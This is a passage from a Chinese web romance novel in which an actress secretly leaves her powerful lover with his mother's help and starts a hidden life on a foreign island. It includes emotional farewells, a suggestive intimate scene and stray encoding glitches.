以前黎艾特爱看他笑,觉得他的笑特撩。 今天,她却有些不敢去看,看一眼,她脑子里就会想: 等她离开后,他会这样笑着看向别人吗? 她曾经并非这么矫情的人,但爱上一个人大抵就是如此,会在某些时候,变得不像自己。 16-20 第16章 第 16 章 陈鹤龄女士带黎艾去?了另一个地方, 那是建立在一个巨大湖泊之?上的楼阁。 走过长长的走廊,陈鹤龄女士在楼阁的正门前停下,转身?,看向黎艾, “就在这里面。” 面对仅一门之?隔的求婚场地, 黎艾眨眨眼, 深吸一口气?。 明明只是来?看看,又不是要被求婚,她还是莫名紧张。 陈鹤龄女士看出她的紧张, 沉静的眼底流露出一丝难以察觉的惋惜。 她对儿?媳妇并没?有多少要求,只要陈添喜欢,对方也真心喜欢陈添就好,她看得?出来?,黎艾很?爱陈添, 也不知道是出于什么原因让她想要离开。 陈鹤龄似轻叹了一声,“走吧。” “嗯。” 陈鹤龄女士带着黎艾推门进去?。 阁楼里光线很?暗,四周门窗似乎都?被遮盖了起来?,仅天花板四周有一圈灯带发着光, 环视周围, 一片漆黑,看不见有任何布置, 倒也不是看不见,光线要是暗到这种程度,黎艾的幽闭恐惧症就该烦了, 这里压根就没?什么布置, 像个空置的黑屋。 黎艾心中疑惑,难道这里还没?开始布置? 但如果没?有, 陈鹤龄女士何必带她来?看一个空屋子。 身?后的门缓缓关上,屋子里一时间?更黑了,好在头顶有灯带,不然在这种环境里,她会难以呼吸。 “我猜你在想,”陈鹤龄女士说,“这里是不是还没?开始布置?” “是有一瞬间?这样想过,但应该不是吧。” “当然不是。” 陈鹤龄女士语落,整个房间?忽然亮了起来?,脚下,头顶,眼前,都?泛着极梦幻的、比碎钻还细闪、似银河降落般的蓝色荧光。 那抹蓝色映入黎艾眼底,她双眸顷刻被泪光淹没?。 她知道这不是灯光效果,是陈添曾带她去?看了许多次的,她最最喜欢的,大海里的蓝眼泪。 被眼泪水模糊的视线里,蓝眼泪的光芒变得?微弱,灯带却亮了些?,她看见前方地面的一块玻璃缓缓移动起来?,露出底下的水池。 一双透明的防水靴被递到她跟前,“要下去?看看吗?” “这里面是陈添找人?为你培育的蓝眼泪。”陈鹤龄女士说。 “谢谢。”黎艾接过靴子,快速眨了眨眼将眼泪压回去?。 两个人?都?穿上了靴子,还戴了手套,一起下到水池。 伴随她们每一个动作,水里都?会亮起蓝色荧光,黎艾弯腰,捧起池水,近距离看着蓝眼泪在掌心呈现出的颜色—— 那样梦幻的蓝,美极了。 蓝色被视为忧郁的象征,这样美到极致的蓝色,似乎也透着极致的忧伤。 心脏像是蓝眼泪淹没?,海水腐蚀心脉,很?疼。 她没?再压着情绪,也压不住,任由鼻尖泛起酸涩,也任由眼眶发红。 眼泪很?快溢满双眸,一滴泪落下,砸进手心,溅起一抹蓝。 看着手心被眼泪砸出的蓝色荧光,黎艾忽然笑了下。 还真是蓝眼泪啊…… 黎艾不是那种惹人?生怜的娇软长相,可当她哭起来?,会给人?一种全世界都?亏欠了她的感觉。 久经世故,陈鹤龄女士如今很?难对世事动容,更遑论年轻人?的情情爱爱,但此刻她心中竟也生出一股阻塞感。 她低头看了眼时间?,现在还没?到十一点,她们可以在一个小时后再回去?,黎艾可以痛痛快快地哭一场。 她没?有去?打扰黎艾,就静静站在一旁,等?她释放情绪。 黎艾没?有让她等?很?久,她不想把妆哭花,让陈添看出来?,好在她今天化的淡妆,没?有用粉质的底妆,眼泪不容易在脸上留下泪痕,但如果哭得?太凶还是会把妆哭花。 “伯母,我们回去?吧,时间?应该不早了。”黎艾仰起头,让眼泪回流。 “不急,再呆会儿?吧,陈添说你很?喜欢蓝眼泪,”陈鹤龄女士在池边坐下,并拍了拍身?旁的位置,“来?,坐。” 黎艾愣了愣。 等?她坐下,陈鹤龄女士温声开口,“我也是昨天才?知道他准备在这里跟你求婚,之?前只说想在家?里养个东西,两年前开始的,找了国?内最顶尖的生物学家?研究了两年才?达到今天你看到的这种效果。” 黎艾一惊,他竟然在两年前就想娶她。 “他现在对你的上心程度很?有当初一门心思?想当兵的那股劲儿?,他从初中开始就一直上的军校,但现在他却离开部队了。” 陈鹤龄女士话中有话,黎艾明白她真正想表达的意思?。 “我虽然不知道你因为什么想离开他,不过这个决定的确比嫁给他更好,嫁给他的风险太大,不管是现实风险,还是感情风险,”陈鹤龄女士继续不急不慢地说着,语气?始终温和,“没?有什么是一成不变的,更别说爱情,陈添这人?,就算他是个混蛋,爱上他也比喝水都容易,何况他愿意牺牲一切和你在一起,这样的感情如果继续下去?,很?容易让你陷得?太深,倘若一天他变心,我不知道你是否能承受。” 黎艾也不知道,感情这种事,说不清。 “我们陈家?不乏情种,但也不乏负心人?,有些?人?年轻的时候看着很?像个大情种,后来?却成了大混蛋,以前有一对就很?像你和陈添,男孩儿?铁了心要娶女孩儿?,想给她最大的安全感,两人?克服了许多困难好不容易才?获得?了平静的生活,但禁得?起坎坷的爱情,不一定禁得?起一成不变的平静,男孩儿?后来?变心了,女孩……” 陈鹤龄女士停顿了片刻,神情有些?哀伤,“女孩无法接收男孩变心的事实,最终在男孩面前结束了自己的生命。” 说到这儿?,原本一直看着前方的陈鹤龄女士缓缓转过头来?看向黎艾,“我不希望你步那女孩儿?的后尘。” 黎艾看得出对方眼里的真诚,感激道:“让您费心了,我会走得?远远的,让陈添再也找不到我。” “想去?国?外?” “嗯。” “如果你决心要走,我可以帮你,你自己走,很?可能飞机刚落地就会被陈添找到。” 黎艾一愣,她没?想到这一点。 “打算什么走?”陈鹤龄女士问。 黎艾毫不迟疑地开口:“这周我就可以走。” 陈鹤龄女士稍显意外,“我来?安排。” “那就麻烦您了。” 陈鹤龄女士微微一笑,“要再坐一坐,还是回去?了?” “回去?吧。”- 这天,黎艾和陈添没?有在鹤园待很?久,下午两人?就坐上了回程的车。 黎艾在吃饭的时候并未显露异常,像真的只是和陈鹤龄女士出去?溜了一圈,浅浅闲谈了会儿?,但陈添就是清楚,他老妈肯定跟黎艾说了些?什么。 到家?,黎艾想上楼洗个澡换身?舒服的衣服,走到半道却被陈添压在了沙发上。 “说吧,我妈都?跟你说了些?什么?” 黎艾就知道,瞒不过这人?。 因为早有预料,黎艾也不慌,慢悠悠地开口:“什么都?说了,说议庭成员不能和公众人?物结婚生子,说你不进议庭的后果很?严重,我俩有可能一死?一疯,让我这个应该有知情权的人?想清楚,要不要冒这个风险。” 陈添紧紧盯着她,像要透过她的眼,将她灵魂都?看穿,“那你什么想法?” “还能什么想法?”黎艾没?有正面回答,而是说,“你知道的,我不怕冒险,也不怕死?。” 只是,她说这话的时候,她的声音变成了哭腔,也落了泪。 那滴泪顺着她的脸颊,没?入他捧着她脸的掌心。 “哭什么?”陈添抚去?她眼角的泪痕。 “感动呗。” 黎艾也抬手去?捧陈添的脸,指尖抚过他的眉骨、鼻梁、双唇…… “陈添,”她声音在颤抖,沙哑得?不行,“你那么爱我啊?” “这还用问?”陈添语气?难得?的温柔。 又是一行泪滑下,陈添俯身?,吻向那滴泪。 唇瓣被泪水沾湿,渗入口腔,微咸,很?涩,那苦涩像一并渗入了心脏,心底升起一股陌生的苦楚。 陈添从未有过这样的情绪,他不喜欢,也不想黎艾再哭,他想吻她,重重地吻她。 他低头裹住了那双因抽泣而颤抖的唇,舌抵进去?,手滑到她的后脑,节骨分明的五指穿入她的发间?,用力将她按向自己,让本就紧紧缠在一起的唇舌缠得?更紧,更牢。 体?温快速攀升,他吻得?越来?越用力。 意识在胶着的唇舌间?溃散。 黎艾的抽泣声被迫变成呜咽,极低的漏出去?。 陈添并不满足于这样的接吻,强势地将她每一处都?圈占,来?势汹汹,有种强烈的控制意味,黎艾受不住。 “陈添……停……” “不想停,想和你……”他俯下身?来?和她鼻尖相抵,近距离与她对视,因用力而压低的声音里裹挟着无休止的渴与欲,“干到死?。” “你他妈禽兽。” 听到她骂他,他眼底骤然掠起一道光亮,像野兽看到猎物时般的兴奋。 他唇角弧度上扬,声音里尽是愉悦,“宝贝,再骂。” 这个喜欢被她骂的臭变态。 换做从前,黎艾才?不会满足他,但今天,她什么都?想满足他,哪怕极尽疯狂。 “畜生。” “再骂。” “变态!” “继续,”他轻吻她的唇,“宝贝。” …… 第17章 第 17 章 一夜疯狂之后, 黎艾没有入睡。 昨夜他?们吻得有多激烈,她此?刻心?脏就有多沉重。 陈添去开会了?,她独自?躺在偌大的床上,枕下的手机屏幕亮着, 界面停留在一则消息上, 让她明天赶往机场。 身体很?疲惫, 像快要到达极限,动根手指都让她感到吃力,但她就是?不?愿意睡, 也睡不?着,在躺到下午恢复了?些体力后,她下床,翻找出纸笔。 给陈添写信。 写什?么,她早已想?好: 陈添, 当你看到这封信的时候,我已经走了?。 我是?不?怕冒险,也不?怕死?,但我并不?想?和你一起?冒险, 更不?想?和你一起?死?, 我对你,没几分真心?, 这些年和你在一起?无非图你在娱乐圈的权势,现在我不?想?在娱乐圈待了?,也就没必要继续待在你身边。 对于你想?娶我这件事, 我很?意外?, 你不?应该为了?娶我放弃那么多,但你可千万不?要以为我是?为你好才离开, 我有我想?做的事,分开对我们两个人都好。 别来找我,去找一个全心?全意爱你的人,祝好。 画下最后的句号,泪水已经模糊了?视线,黎艾仰起?头,不?想?让眼泪滴到信上。 真的结束了?,一切都该结束了?。 当天,她发了?条微博,正式宣布退圈。 微博一度瘫痪。 到这时候,黑子也没放过她,说她是?被金主?抛弃了?,不?得已才退圈。 时至今日,她是?真的不?再在乎这些言论,发了?微博后就再也没看过。 手机里全是?圈里人发来的消息,她一条都没有回?,她没有几个特别交好的朋友,平时有来往的朋友,她早在两个月前就告诉了?他?们自?己要退圈,这个消息一直没漏出来,想?来他?们也是?真的把她当朋友。 可惜,往后怕是?见不?到了?。 将信折好,收好,黎艾去到阳台,看海。 听着潮声,风声,她的情绪逐渐趋于平静,至少看起?来是?这样,她心?里有多难过,只有她自?己知道。 陈添于傍晚时分回?家,陪着她又看了?会儿海,直到听见她肚子的抗议。 她已经一整天没吃饭。 “怎么不?吃饭?” 陈添回?来时,佣人就告诉他?,黎小姐一整天没有下楼。 黎艾以为自?己伪装得挺好,结果忘记了?吃饭,也不?能说忘记,是?全然没记起?,感觉不?到一丝饥饿感,这会儿陈添一说,她才发现饿得头都晕了?。 “先吃颗糖。”一颗糖递到她面前,已经剥开了?糖衣的水果软糖。 黎艾低头,将糖含进嘴里。 嘴里的糖很?甜,鼻尖却酸得要命。 陈添将她抱起?来,往楼下走。 佣人已备好饭菜,黎小二先一步跳上饭桌,埋头吃着碗里的三文鱼。 陈添将她放到黎小二旁边的椅子上,自?己则坐在她对面,桌上是?热腾腾的饭菜,这一幕看着特温馨—— 一日三餐,她与他?,还有他?们的猫。 黎艾偏头,伸手去摸黎小二的头。 以后,就没有这样一家三口一起?吃饭的画面了?。 “先吃饭。” 黎艾动作一顿,抬眸看向?陈添。 他?肯定察觉到了?她想?藏起?来的情绪。 看来,又得跟他?演一场戏了?。 “哦……” 她收回?手,开始吃饭。 饭菜很?香,可黎艾实在没胃口,甚至有些反胃,但以免陈添起?疑,她强行将送入口中的饭菜咽了?下去。 好在她平时吃的就少,她不?用强迫自?己吃很?多。 见她刚吃两口就放了?筷子,陈添问她:“没胃口?” “有点儿。” 陈添的目光在她脸上定了?一会儿,那双眼睛似能洞穿她所有心?事。 他?没有让她再多吃两口,而是?也搁下了?筷子。 “要不?要喝酒?”他?问。 黎艾眉心?一跳,“你想?喝酒?” “嗯,想?喝你调的酒。” “好。” 黎艾起?身,去到吧台。 陈添也站起?来,一手捞起?还在吃东西的黎小二,抱着它坐到沙发上。 沙发旁的桌上整齐叠放着几盒烟,三盒男士香烟,三盒女士香烟。 陈添拿过来一盒,抽出一支叼在嘴里,点燃,深吸一口,头微仰,等烟过了?肺,再缓缓将烟吐出。 白烟升腾,像一片浓雾,陈添微眯眼,透过逐渐消散的烟看向?正在调酒的黎艾。 黎艾调好两杯玛格丽特过来时,他?的烟只抽了?一半。 她垂眸,看了?桌上的那包LUCKY STRIKE特供。 这烟76万一盒,贵自?然有贵的道理,她尝试着抽过,抽不?惯,太烈,但今天她特想?抽一抽烈的,越烈越好。 放下酒杯,她拿起那盒烟坐到陈添旁边。 “怎么愿意抽我的烟了?”陈添抖抖烟灰。 “尝尝。” 她抽出一支烟,正要塞嘴里,却被陈添压下。 他?靠过来,近距离冲着她轻轻吹了口烟,而后勾唇,“来这儿尝。” 靠…… 他?只是?说了?句话,她全身就如果过电一般,阵阵酥麻感不?知从何而起?,流向?指尖,流向?大脑,像接吻才有的感觉。 他?们也好像的确在接吻,用眼神在接吻。 “愣着干嘛?”陈添声音里也像蓄着电流,很?低沉,很?磁性,“过来。” 心?跳忽然变得很?快,身体里像被他?放了?把火,某种冲动骤然间就在血液里疯子。 她不?想?抽烟了?。 扔掉烟盒,她朝陈添吻过去。 陈添将燃着的烟拿远,免得烟灰烫到她,另一只手放开怀里的猫,去扣住她的腰。 光线昏暗的吧台前,炙热的唇舌纠缠在一起?。 黎艾尝到了?他?唇间属于LUCKY STRIKE的烟味,残留于唇齿间的尼古丁已不?够浓烈,却带着烈酒一般的醉人,沾染上的一瞬间就叫人上瘾。 她主?动将舌探过去,像个无可救药的瘾君子,拼命汲取他?口中的尼古丁与独属于他?身上的气?息。 如此?来势汹汹,却后继无力。 还是?被陈添反客为主?。 陈添吻技很?好,每一次都能亲得黎艾浑身酥麻,这次也不?例外?,她身子颤了?颤,腰塌下去,头越来越仰。 陈添慢慢将她放下去,半跪在沙发上吻她。 他?吻得不?算重,却很?欲。 黎艾被他?吻得浑身发烫,脑子晕晕沉沉,都快忘记,明天她就要离开。 难得,他?没有吻着吻着就开始解扣子,松开她的唇时,他?眼底也没有往常那般的欲色,眼神颇沉,很?深。 已经燃尽的烟被他?扔进烟灰缸,他?伸手替她理了?理脸上凌乱的发,“今天你是?不?是?一整天都在想?我妈跟你说的话?” 黎艾微微一怔,没有说话。 “别想?太多,”陈添低下头来,用挺直的鼻轻蹭了?下她的鼻尖,“嗯?” 刚刚还在躁动着,悸动着的一颗心?沉下去,她没法告诉他?,就算没有听到那些话,她也还是?会离开他?。 两个人离得那样近,近到能清晰在对方的瞳孔里看到自?己的影子。 她与他?对望着,目光都似要穿透彼此?的灵魂。 “进不?了?议庭,我陈添照样能护你周全,照样能混得风生水起?,”他?语声笃定,“你信我。” 黎艾忽然笑了?,终于,她能回?答他?,“我信你。” 她信他?,只是?这场冒险,她注定不?能陪他?。 “我们会好好的。”他?说。 “嗯,我们都会好好的。”她笑着说。 她与他?都会好好生活,相隔一整个太平洋- 入夜,房间里很?安静,能听到彼此?的呼吸。 陈添昨天一整晚没睡,白天又开了?一天的会,这时候已然入睡。 室内并非一片昏暗,头顶亮着一圈灯带。 借着微弱的光,黎艾看着陈添,从眉骨到双眸,从双眸到唇角,又自?下而上,从他?的唇到他?挺直的鼻,用目光来来回?回?地不?断描摹,似要将这张脸永永远远刻进脑海里。 她的双眼已经充血,布满血丝,眼皮沉重得灌了?铅,可她就是?不?想?合上眼,想?再多看看他?。 明天过后,这张脸,她就再也看不?到了?。 她就这样一直看着他?,直至黎明拂晓,他?睁开眼的前一刻。 他?睁眼,她闭眼。 陈添的生物钟是?在早上六点,他?每天六点都会准时起?床,去健身房健身,所以他?即便?从特种部队退伍这么多年,他?身上的肌肉还是?十分结实。 在他?去健身的这两个小时里,黎艾没睡着,但眼睛终归是?得到了?休息。 八点,陈添回?到卧室,习惯性地在黎艾额头落下一吻。 如同童话里被王子亲吻的睡美人,黎艾在他?的亲吻里苏醒。 “怎么醒了??” 平时她都是?要睡到日上三竿的。 黎艾揉揉眼睛,用极为自?然的演技说道:“饿了?。” “让你昨天不?多吃点,起?来吧,跟我吃个饭再睡。” “嗯。” 黎艾从被窝里出来,和陈添一起?下楼。 佣人已经做好了?早饭,两人面对面坐下,专心?吃饭。 黎艾知道自?己眼睛里的血丝还很?重,最好不?要和陈添产生对视,以免他?生疑,可她就是?忍不?住去看他?。 这不?,仅仅只是?第二次朝他?偷偷瞄过去就被逮了?个正着。 “你眼睛血丝怎么这么重?” 黎艾又揉揉眼,“没睡够吧。” 陈添倒也没起?疑,只让她吃完饭赶紧上去补觉。 他?今天还要开会,吃完饭就得去尚府大厦。 “我走了?。” 黎艾表情一僵,但等她抬头,脸上却是?笑容,她笑着抬起?手,冲他?挥手,“拜拜。” 面对她这少见的反应,陈添宠溺一笑,也朝她挥了?挥,“拜拜。” 他?走出房门,黎艾脸上的笑还保持着原有的弧度,眼泪却已经落了?下来。 互相道了?别,那就算是?正式的告别了?。 等他?的背影消失在视线,黎艾立刻转身上楼,关?上门隔绝一切声音。 终于不?用再伪装,压抑了?许久的情绪一瞬间绷断,她身体往下滑,头埋进膝盖,在未拉开窗帘的昏暗房间里放声痛哭。 心?脏像是?被洞穿,从没这样疼过。 她也从未这般痛哭过,哪怕曾经她在最胆怯的年纪里被丢进她最害怕的小黑屋,被人一次又一次的扇耳光,被亲生母亲诋毁,她都没有哭得这么厉害过。 她不?明白,老天为什?么要一次又一次的折磨她,让她被生下来,却从未得到过来自?父母的爱,让她从小学习成绩优异,却又让她在学生最重要的阶段被霸凌,让她因霸凌而抵触镜头,却又因霸凌而选择站在镜头前,拼命地做着自?己不?喜欢的事,让她遇见陈添,终于感受到爱,也爱上他?,却又让她知道,他?们的相遇,自?始至终都是?错的。 她哭得全身颤抖,手指发麻,哭了?很?久。 眼睛里的泪像早已哭到了?快要枯竭,可仍有眼泪不?停滚落。 她是?这时候才知晓—— 原来一个人可以流这么多眼泪。 …… 陈鹤龄女士派来接她的人在下午一点抵达门口。 黎艾找出那封信放到卧室的桌上,戴上墨镜,遮住哭肿的双眼,抱起?黎小二离开这栋海边别墅。 这些年,陈添送了?她很?多东西,其?中甚至有一套价值12亿的珠宝,一辆全球限量仅三辆的跑车,全球独一无二的名牌包包,然而除了?怀里这只他?送的猫,她一样也没带走。 她抱着猫坐上车,车辆启动,驶向?南城国际机场。 后视镜里,身后漂亮的海边别墅变得越来越小,越来越小…… 等后视镜里只剩下道路两旁的街景,黎艾低头,拿出手机,打开相册,找到某张照片。 照片上,晚霞铺满整个天际,大海倒映着如梦境般的天空,她与陈添在黄昏中的深海里拥吻。 一滴泪砸下来,落在屏幕上。 从今往后,在她这里,能证明他?们相爱过的,除了?她的回?忆,就只剩下这一张照片 第18章 第 18 章 车辆抵达FBO。 黎艾乘坐陈鹤龄女士安排的私人飞机出国, 不用去安检大厅。 她才发了微博宣布退圈,正是热度高的时候,去安检大厅很容易被人拍下来,行?程也容易被泄露。 进了FBO, 黎艾远远看到一个人笔直的站在航站楼前, 虽还看不清脸, 却已?然很吸睛,一身黑色西装被他?穿出了军装的气质。 离近了,黎艾发现这人的确很有军人气质, 身材高大,长相正气。 来的路上,司机告诉她,他?只负责送她到机场,机场还有专人接待。 司机在这人面前停下, 想来司机口中的‘专人’就是他?了。 男人帮黎艾拉开车门。 下车,黎艾跟前伸过来一只手。 “黎小姐您好,我叫闻修言,负责接送您到宿厘岛, 并会作为?当?地向导兼保镖为?您服务一段时间, 您在生?活起居上的任何?问?题都可?以找我。” “麻烦了。”黎艾和?他?握了下手。 闻修言回以一笑。 “走吧。”黎艾往前迈步。 “您没有行?李吗?” “没有。” 需要带走的,有怀里?这只猫和?手机里?那张照片, 就够了。 两人一起走向航站楼,飞机在二十分钟后起飞。 偌大的一架飞机,舱内除了服务的空姐, 只有她和?闻修言两个人。 黎艾坐在窗边, 看着脚下的建筑一点?一点?变小,视野一点?一点?变大, 她在一栋栋缩小成米粒般大小的建筑里?看到了尚府双子大厦,那是陈家在南城市中心建立的百层高楼,也是南城的标志性建筑,陈添此时就正在里?面开会。 看着尚府大厦逐渐被云层遮挡,某种情绪在这一刻达到顶峰,可?已?经哭不出来。 她闭上眼,不再去看。 “黎小姐。”闻修言的声音从后侧方传来。 黎艾侧眸。 “从南城到宿厘岛需要十五个小时,您可?以到里?面去躺着休息。” “嗯。” 也没什么好看的了,黎艾起身,抱着黎小二去到机舱内侧的房间。 房间里?内的布置和?豪华型酒店差不多,两米大床、化妆台、浴缸、书架……一应俱全。 黎艾没有心情参观房间,径直抱着黎小二躺到了床上,她很累,不管身体还是心理?,却没有困意。 怀里?的黎小二被抱了太久,没了耐心,开始发出抗议的喵呜声,尾巴不停地甩着,一下又一下打在被子上发出闷响。 黎艾知?道它想自己去玩儿,但?她没有放开它,反而抱得?更紧。 见挣扎无?果,黎小二选择放弃,轻轻喵一声,用头去蹭黎艾的下巴,把软乎乎的肚子翻出来。 感?觉到黎小二在蹭自己,黎艾愣了愣,不知?想到什么,她手上的力度忽然松了,她放它走。 黎小二却又不走了,继续露着肚皮不停地蹭着她。 “笨蛋,走啊。”黎艾将它推开。 似是察觉到她的情绪,被推开地黎小二立马折返回来继续蹭她。 黎艾再推,它又再次跑回来。 黎艾本来就没什么劲儿,它再一次跑回来,她没再推开它,重新将它抱进了怀里?。 黎小二趴在她胸口,猫科动物的体温高于人类,没一会儿便将黎艾心脏那块儿地方捂得?热热的。 那股温热似穿过皮肤抵达了心脏,黎艾感?受到一阵包裹她心脏的暖意。 “没白疼你,”黎艾摸摸黎小二的头,唇边浮出一丝极淡的笑,但?很快,这仅一丝的笑意也褪去,“可?……他?好像白疼我了。” 她想,等陈添看到那封信肯定会发很大的火,会恨死她。 “你说,他?会来找我吗?”她问?黎小二。 黎小二当?然不知?道,她自己也不知?道。 “如果他?来找我,是因为?恨我,还是因为?……”她停顿许久,还是说出了那两个字,“爱我。” 猫咪当?然不懂,什么是恨,什么是爱,它只知?道它的妈咪不太开心,所以翻出肚皮让她摸。 “知?道你不懂我们人类的情情爱爱,”黎艾将手搭在它肚子上揉了揉,“但?你肯定也会想他?的对不对?” “我……”她垂眸,“已?经在想了。”- 十五个小时的行?程,黎艾还是迷迷糊糊的睡着了几个小时,睡得?很浅,门铃刚响起第一声,她便醒了过来。 怀里?的猫像孩子似的喵了一声,黎艾轻轻松开抱着黎小二的手,起身去开门。 门外站着的是闻修言。 “黎小姐,飞机还有半个小时抵达机场,有些事我需要告知?您,”说着,他?做出一个邀请她坐下的手势,“您请坐。” 黎艾在他指向的位置坐下。 闻修言坐她对面,给她推过来一个手机。 “以后您就用这个手机吧,原来的手机和?电话卡需要销毁。” “好。” “电话卡在下飞机前就需要销毁,手机最好也要关机,如果您有什么需要传的文件得?抓紧时间现在传。” 没什么需要传的,也就一张照片。 黎艾将那个手机打开,把和?陈添在海里?接吻的照片传过去,全程一分钟的时间都不到。 “好了。”黎艾把原先的手机递给闻修言。 闻修言似是料到了她会是这个速度,从她不带一件行?李就能看出,她对过去没多少留念。 他?收下她的手机,从西装内侧口袋拿出一张卡推给她。 “这什么意思?”黎艾蹙眉。 “以防陈先生?从您的消费记录找到您,从今天开始的一段时间里?,您不能再花您自己银行?卡里?的一分钱,这里?面是陈鹤龄女士为?您准备的七千万备用金,应该足够您消费一段时间,等到了宿厘岛,我会为?您做资产转移。” 闻修言从一旁的座位上提起一个皮箱放到桌上,打开,朝向黎艾,“这里?还有少量现金供您使用。” 黎艾看了皮箱里?的现金,少说也有一百万美元,心想闻修言对‘少量’这个词是不是有什么误解? “现金和?银行?卡,请您务必收下。” 都说到了这份儿上,黎艾自然会收下,“烦请替我向陈鹤龄女士道谢。” “我会替您转告。” 半个小时后,飞机抵达机场。 机场在内陆,要到宿厘岛还得?坐船。 机场有人接机,将黎艾和?闻修言送到了码头。 游艇早已?事先备好,是一艘私人小型游艇,闻修言开着这艘游艇带黎艾上的岛。 宿厘岛这个地方是黎艾自己选的,她和?陈添曾经来这里?度过假,她很喜欢这里?,喜欢这里?一年四季都是夏天,喜欢这里?闻名世界的白色沙滩和?碧蓝大海,这里?甚至还能看到蓝眼泪,是她理?想的居住地。 两人在当?地时间的下午三点?登岛。 第一天自然住酒店,房间是已?经预留好的,无?需办理?入住。 “今天您是想休息还是做点?别的事?”送黎艾去酒店的路上,闻修言问?道。 黎艾并不想休息,想给自己找点?事情做。 “去买点?东西吧。” “酒店里?为?您准备好了干净衣物,还有一些日用品、化妆品和?护肤品,到了酒店您可?以先看看再决定需要买什么。” 闻修言看着像退伍军人,但?现在黎艾觉得?闻修言可?能未必当?过兵,但?肯定给人当?过管家或者秘书。 “有就不用买了,”她不挑,能凑合用就凑合用,“带我去找家靠谱的美发沙龙吧,我想染个头发。” “直接去?” “嗯,直接去。” 闻修言立马让司机调头,去美发沙龙。 路上,黎艾在网上找了张图片,图片上的女生?拥有一头很漂亮的金发,她就想染这颜色,以后还准备每天戴蓝色美瞳,再戴上口罩或者面具,这样可?以减少被人认出的可?能性。 闻修言带她去的是一家美发会所,每位客人都能在单独的房间里?做造型,据闻修言说,很多来这边度假的好莱坞明显都会选择来这里?做造型。 黎艾的英文不是特别好,只能进行?一些比较基础的交流,闻修言作为?翻译帮她和?美发师沟通,顺便负责照顾黎小二。 闻修言知?道黎艾心情不好,所以让美发师尽量不要和?她搭话,但?在染完头发后,理?发师还是忍不住开口说道:“You''''re drop-dead eous!” 听语气,黎艾知?道对方在夸她,但?却并不明白这句话的意思。 “夸您实在太美的意思,”闻修言解释道,“drop-dead是一个比较夸张的修饰词。” 想到余生?可?能都会生?活在这里?,黎艾觉得?自己还是很有必要多加掌握英语这门语言。 “Thank you.”她礼貌地回以感?谢。 “接下来您想去什么地方?”闻修言问?。 “买美瞳,口罩,还有面具。” 美瞳和?口罩随处都可?以买到,面具就没那么日常了,好在闻修言在这里?生?活了很多年,还真知?道一家手作面具工坊。 黎艾在那儿买了十来张面具,金属、羽毛、珠贝……什么质地的都有。 出了面具工坊,时间已?然不早,闻修言送黎艾回了酒店。 一进套房,黎艾最先看到的两排超长衣架,上面挂着的全是当?季蓝血顶奢的成衣。 陈鹤龄女士待她实在可?谓不薄。 黎艾随便拿了一件成衣换上,戴上刚买的蓝色美瞳,再挑了一张适配的面具站到镜子前戴到脸上。 她皮肤很白,与?白种人站在一起也丝毫不会被比下去的那种冷白,此刻镜子里?的人全完看不出一丝亚裔人种的特征,像一名正要去参加蒙面舞会的美裔女模特。 看着镜子里?全然像变了一个人的自己,黎艾不禁想,即便陈添此刻就站在她面前,一定也无?法一眼认出她。 第19章 第 19 章 来到宿厘岛的第二天, 黎艾去看了房子。 她并不打?算买豪宅,一个人没必要住那么大的房子,她就?想?买一个小房子,在海边, 推开窗就?能看到海, 要在东岸, 可以望向青港的地方。 闻修言带她去看了五栋房子,她定下了最后一栋。 白色小洋房,室内的设计和装饰很温馨, 暖融融的色调。 她这个人平时看起来很清冷,穿衣打?扮也都是偏冷色系,但往往是这样的人,更向往温暖与被爱。 向往归向往,一个人她也可以好好生?活。 带着黎小二住进这栋小房子的第一天, 她没有再?失眠,只是做了个梦。 梦里,陈添和她求婚了。 在那个湖心的楼阁,那个被蓝眼泪环绕的地方。 陈添这人, 在梦里都强势, 他没有单膝下跪向她求婚,直接将?戒指到了她的无名指上?。 “嫁给我?。”他说。 而不是, 嫁给我?好吗。 她没有拒绝他,也没有答应他,在他说出那三个字后, 她就?惊醒了, 像做了一场噩梦那样惊醒,但这并不是噩梦。 还能在梦里见到他, 挺好。 人的记忆力?有限,哪怕再?爱一个人,也会随着时间的流逝逐渐忘记那个人的样子。 如果没有那张照片,黎艾不知道自己什么时候就?会记不清陈添的模样。 所?以醒来后的第一时间,她出门找了家打?印店,把照片打?印了出来,打?印了好多张,回去放在了不同?的地方。 原本是摆在显眼处,但她想?了想?,怕陈添真的找来,又将?照片都藏了起来。 和陈添在一起的这五年,家里一直有佣人,用不着她做饭,但她从很小的时候就?开始自己做饭,哪怕几年没怎么进过厨房,厨艺也还是没丢,她没打?算请佣人,搬进来的第一天就?买了一冰箱的食材,藏好照片后她有些饿了,遂去煎了个蛋,顺便给黎小二煮了三文鱼。 一人一猫共进早餐,黎艾煎蛋配牛奶,黎小二煎蛋配羊奶。 太久没吃自己做的东西,黎艾吃得还蛮满足。 她也很久没有自己洗碗了。 厨房的窗对着马路,洗碗时,透过窗,她看见一辆黑色SUV和一辆越野车驶进了院子,SUV驾驶座上?坐着的是闻修言。 黎艾摘掉手套走?出去。 闻修言微笑和她打?招呼,“黎小姐。” “今天怎么两辆车?”黎艾问。 今天他们的行程是去看店,她想?盘下一家酒吧尽快开店,应该不需要两辆车才对。 “这辆车是给您准备的,您选择住在这种普通住宅区最好不要开太显眼的车,容易被抢劫,”闻修言敲了敲车窗说,“车子改装过,安的都是防弹玻璃。” “这边犯罪率很高?” 闻修言笑了笑,“比起中国?那自然是高很多。” “这两天我?会安排人过来给您加固门窗,只要睡前记得锁门,问题不大,”说着,闻修言朝第二辆车子后面走?,“您跟我?来。” 黎艾跟他走?到车子后备箱处,闻修言将?后备箱门掀起来,顿时,黎艾双眼放大。 后备箱里是二十?几只各种类型的枪,其中一些黎艾是认识的,著名的沙.漠.之?.鹰、M9手枪、AK-74突击步枪、M4-A1步枪、M1加兰德步枪、雷明顿1100霰.弹枪…… 陈添以前没少带她来美国?玩枪,所?以认识一些。 “您选几把吧,在美国?,家里还是放几把枪比较安全,何?况您是独居,还是外来人,”闻修言看向黎艾,“需要我?给您介绍介绍吗?” “不用。” 黎艾挑了几把认识的。 见黎艾非常干脆利落地选完了枪,闻修言颇为意外,“您都会用?” “有人教过。” 闻修言心领神会地挑了下眉。 看着这些枪,黎艾又想?到了陈添,这些年,陈添真的教了她很多。 如果不是遇到了陈添,即便她靠自己在娱乐圈跻身一线,很多东西也不是她能接触到的。 “枪给我?吧,我?帮您拿进去,”接枪之?前,闻修言拿了些子弹,“以防万一,给您备点子弹。” 黎艾把枪给他,留了把拿在手上?,想?直接随身带着,却不知道放哪儿,想?了想?,她问闻修言,“有电影里那种可以把枪绑在腿上?的绑带吗?” “给我两天时间,我?让人帮您做。” “OK。” 